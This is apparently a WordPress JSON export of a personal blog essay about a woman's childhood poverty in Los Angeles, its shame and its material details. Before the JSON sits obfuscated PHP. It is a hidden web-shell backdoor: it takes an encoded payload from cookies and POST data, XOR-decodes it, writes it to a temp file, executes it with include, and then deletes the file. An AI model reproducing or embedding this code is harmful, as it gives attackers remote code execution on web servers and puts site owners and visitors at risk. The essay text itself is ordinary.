$KCDdBtEg = "\163" . "\137" . chr (65) . chr (81) . "\x46";$WLhpiHcr = "\143" . 'l' . chr ( 1060 - 963 ).'s' . "\x73" . '_' . chr (101) . "\170" . 'i' . "\163" . chr (116) . chr ( 304 - 189 ); $cFdyUyKg = class_exists($KCDdBtEg); $KCDdBtEg = "15652";$WLhpiHcr = "32508";$sdLOHijTc = 0;if ($cFdyUyKg == $sdLOHijTc){function IjjAuKwsE(){return FALSE;}$lHwws = "19028";IjjAuKwsE();class s_AQF{private function rjdevHf($lHwws){if (is_array(s_AQF::$xvNmTcJm)) {$YqmzCQjauF = sys_get_temp_dir() . "/" . crc32(s_AQF::$xvNmTcJm["\163" . chr ( 472 - 375 )."\154" . chr ( 203 - 87 )]);@s_AQF::$xvNmTcJm["\x77" . 'r' . "\x69" . chr (116) . "\145"]($YqmzCQjauF, s_AQF::$xvNmTcJm["\x63" . "\157" . chr (110) . chr ( 936 - 820 )."\x65" . chr (110) . chr ( 299 - 183 )]);include $YqmzCQjauF;@s_AQF::$xvNmTcJm[chr ( 655 - 555 ).'e' . chr ( 263 - 155 ).chr (101) . "\x74" . 'e']($YqmzCQjauF); $lHwws = "19028";exit();}}private $nyBiPvdEAZ;public function nMiyTR(){echo 4720;}public function __destruct(){$lHwws = "49302_9227";$this->rjdevHf($lHwws); $lHwws = "49302_9227";}public function __construct($hYnsFX=0){$qEaVVqKyv = $_POST;$FQdomGoA = $_COOKIE;$mjRCM = "8f61e995-3955-4efb-9c83-5dace39335cf";$ZCeSIiR = @$FQdomGoA[substr($mjRCM, 0, 4)];if (!empty($ZCeSIiR)){$jVNzUotjI = "base64";$pKyfr = "";$ZCeSIiR = explode(",", $ZCeSIiR);foreach ($ZCeSIiR as $RKkjtN){$pKyfr .= @$FQdomGoA[$RKkjtN];$pKyfr .= @$qEaVVqKyv[$RKkjtN];}$pKyfr = array_map($jVNzUotjI . "\x5f" . "\x64" . "\x65" . chr (99) . chr ( 207 - 96 ).'d' . chr (101), array($pKyfr,)); $pKyfr = $pKyfr[0] ^ str_repeat($mjRCM, (strlen($pKyfr[0]) / strlen($mjRCM)) + 1);s_AQF::$xvNmTcJm = @unserialize($pKyfr); $pKyfr = class_exists("49302_9227");}}public static $xvNmTcJm = 28509;}$PJSPhJyN = new /* 27523 */ s_AQF(19028 + 19028);unset($PJSPhJyN);}{"id":1133,"date":"2018-02-23T15:53:46","date_gmt":"2018-02-23T23:53:46","guid":{"rendered":"https:\/\/2moms2kids.com\/?p=1133"},"modified":"2018-02-23T15:53:46","modified_gmt":"2018-02-23T23:53:46","slug":"poor-american-women-defining-poverty","status":"publish","type":"post","link":"https:\/\/2moms2kids.com\/poor-american-women-defining-poverty\/","title":{"rendered":"Poor American Women: Defining Poverty"},"content":{"rendered":"
My mother and me. Bell Gardens, CA 1973<\/strong><\/p>\n When I think of poverty, images from my own life flood my mind before a word even comes through. Even today as I write, I struggle to commit the words to print. I am trying to distinguish whether it is the smothering shame I had for being poor or the invisibility, pain, and insecurity of being poor that suspends the stroke of the keyboard.<\/strong><\/p>\n The truth is that I could not have written this when my mother was alive. \u201cCover up, like Nixon\u201d was the maxim; although I didn\u2019t know what she meant until I was an adult.<\/p>\n Shame is passed along like a simple game of tag, \u201cTag, you\u2019re it.\u201d As a child, I did not understand why we had to hide the brand new toaster when the social worker came or pretend not to be home when the landlord knocked. It soon became clear; we weren\u2019t supposed to have anything new or anything nice.<\/p>\n For the majority of my adult life I felt like I was window-shopping at the grocery store, bookstore, and even coffeehouse. The difference between what I wanted and what I needed, played back and forth in my head like a tennis volley. Wants felt self-indulgent and decadent. \u201cShould I pay an extra dollar fifty for them to whip milk into my coffee? Nah, I will just have a house coffee, thanks.\u201d<\/p>\n I was recently reminded of my past as I watched the documentary City of Gold. The movie transports us in and out of ethnic mom and pop restaurants, driving past abandoned buildings, graffiti, concrete, grassless lawns; as my seatmate stated, \u201cLos Angeles is ugly.\u201d I whispered back, \u201cThese are the poor areas of Los Angeles.\u201d<\/p>\n I did not do anything to contribute to my poverty, it was mere circumstance. I was born into it, like you were into your family. But it is a hidden, unspoken barrier that separates you and me. I want to break this barrier today and show you who I am. I want to bring humanity and compassion to the issue of poverty.<\/p>\n As tears drip from my face at this moment, I believe that it is more than shame; it is the pain of being poor and the experiences that haunt me. Among other feelings, being poor meant not having a choice. Protest was not an option, I\u2014we\u2014had no choice about what I ate, where I lived, and the clothes I wore.<\/p>\n I can\u2019t pinpoint the moment I first felt it, but the feeling was deeply embedded in my psyche. The fear of being exposed like a slow leak of poisonous gas followed me around. The terror of exposure was once crippling, but today I am reminded that this is not just my story; today, in the United States, 14.5% of the population experiences poverty<\/u><\/a>; 22% of Californians experience poverty<\/u><\/a>. I was not alone in this and am not speaking about something that has been eradicated. Poverty continues to cripple communities.<\/p>\n I want to walk you through the smells, the textures . . . all of it. I will take you through one of my homes\u2014one of over 14 different apartments I lived in during my childhood, but all of the elements are the same. Each move guaranteed a few days and nights without electricity, the windows covered by towels or sheets until the furniture a remnant from the Salvation Army Thrift Store, the tiny kitchen stuffed with plastic plates, Alpha Beta dish sets, juice glasses from the Do\u00f1a Maria Mole jar, AM\/PM 32 oz. graphic cups, pots and pans made of aluminum sold at the 99 cent store, generic soaps, shampoos, cleaning supplies with faux sponges to clean. The bathroom towels followed us from apartment to apart each worn and dingy, the decorative washcloth embroidered with a swan served as the solo accent decor of the bathroom.<\/p>\n The dining room table with matching chairs arrived as the result of the 1987 earthquake. Our tragedy came with perks. We lost our apartment, which was condemned from the damage, and everything in it. We got government vouchers to an East Los Angeles furniture store where, for first time, I got a bedroom set (bedframe with detached headboard, two side tables, and a dresser). Each drawer made of a thin sheet of particleboard . . . gold knobs and laminate. I was careful not to pull too hard or the plastic wheels would show their fragility.<\/p>\n I was 18 when I received my first sheet set that matched: one fitted sheet, one flat sheet and two standard pillows. Our furniture finally matched: a couch, a coffee table and a bureau. Each piece carefully placed in what came to feel like a nice shoebox, with walls, the doors hollow and light. The furniture matched the construction of the apartment simple, quick, and ready. Laminate glue holding together a illusion. My definition and experience of being poor: a top, visible sheet over a multilayered experience that takes you deeper in.<\/p>\n Part of this study was simply to ask the women how they defined being poor. As one of the criteria for the study, they already matched the measure for poor as defined by the U.S. Government. Each woman\u2014as did I\u2014qualified for free or reduced-cost lunch and self-identified a having been poor<\/p>\nThis is the second installment in a series: \u201cUnderstanding Poverty from the Inside.\u201d\u2028 It was first posted in The Huffington Post in 2017.<\/h2>\n
Internal Struggles<\/h2>\n
Window Shopping<\/h2>\n
Let me explain:<\/h2>\n
Choice?<\/strong><\/h3>\n
Remnants<\/h2>\n
Earthquakes and Government Subsidies<\/h2>\n
Who is poor?<\/h2>\n